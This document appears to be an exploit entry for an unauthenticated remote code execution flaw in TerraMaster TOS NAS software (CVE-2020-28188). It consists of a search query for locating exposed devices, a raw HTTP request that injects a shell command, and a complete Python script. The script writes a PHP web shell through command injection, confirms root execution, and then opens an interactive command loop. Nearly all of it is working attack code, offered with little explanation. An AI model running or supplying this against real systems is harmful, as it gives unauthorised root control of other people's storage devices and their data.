TerraMaster TOS 未授权 RCE (CVE-2020-28188)¶

body="TOS Loading" && title!="- CoreAPI"

GET /tos/index.php?explorer/pathList&path=%60touch%20/tmp/file%60 HTTP/1.1
Host: 192.168.1.206:8181

#!/usr/bin/env python3
import argparse
import requests
import time
import sys
import urllib.parse
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

parser = argparse.ArgumentParser(description="TerraMaster TOS <= 4.2.06 Unauth RCE")
parser.add_argument('--url', action='store', dest='url', required=True, help="Full URL and port e.g.: http://192.168.1.111:8081/")
args = parser.parse_args()

url = args.url
headers = {'User-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36'}
epoch_time = int(time.time())
shell_filename = "debug"+str(epoch_time)+".php"

def check_endpoint(url, headers):
        response = requests.get(url+'/version', headers=headers, verify=False)
        if response.status_code == 200:
                print("[+] TerraMaster TOS version: ", str(response.content))
        else:
                print("\n[-] TerraMaster TOS response code: ", response.status_code)
                sys.exit()

def upload_shell(url, headers, shell_filename):
        payload = "http|echo \"<?php echo(passthru(\\$_GET['cmd']));?>\" >> /usr/www/"+shell_filename+" && chmod +x /usr/www/"+shell_filename+"||"
        payload = urllib.parse.quote(payload, safe='')
        print("[/] Uploading shell...")
        response = requests.get(url+'/include/makecvs.php?Event='+payload, headers=headers, verify=False)
        time.sleep(1)
        response = requests.get(url+'/'+shell_filename+'?cmd=id', headers=headers, verify=False)
        if ('uid=0(root) gid=0(root)' in str(response.content, 'utf-8')):
                print("[+] Upload succeeded")
        else:
                print("\n[-] Error uploading shell: ", response.content)
                sys.exit()

def interactive_shell(url, headers, shell_filename, cmd):
        response = requests.get(url+'/'+shell_filename+'?cmd='+urllib.parse.quote(cmd, safe=''), headers=headers, verify=False)
        print(str(response.text)+"\n")


def delete_shell(url, headers, shell_filename):
        delcmd = "rm /usr/www/"+shell_filename
        response = requests.get(url+'/'+shell_filename+'?cmd='+urllib.parse.quote(delcmd, safe=''), headers=headers, verify=False)
        print("\n[+] Shell deleted")

check_endpoint(url, headers)
upload_shell(url, headers, shell_filename)
try:
        while True:
                cmd = input("# ")
                interactive_shell(url, headers, shell_filename, cmd)
except:
        delete_shell(url, headers, shell_filename)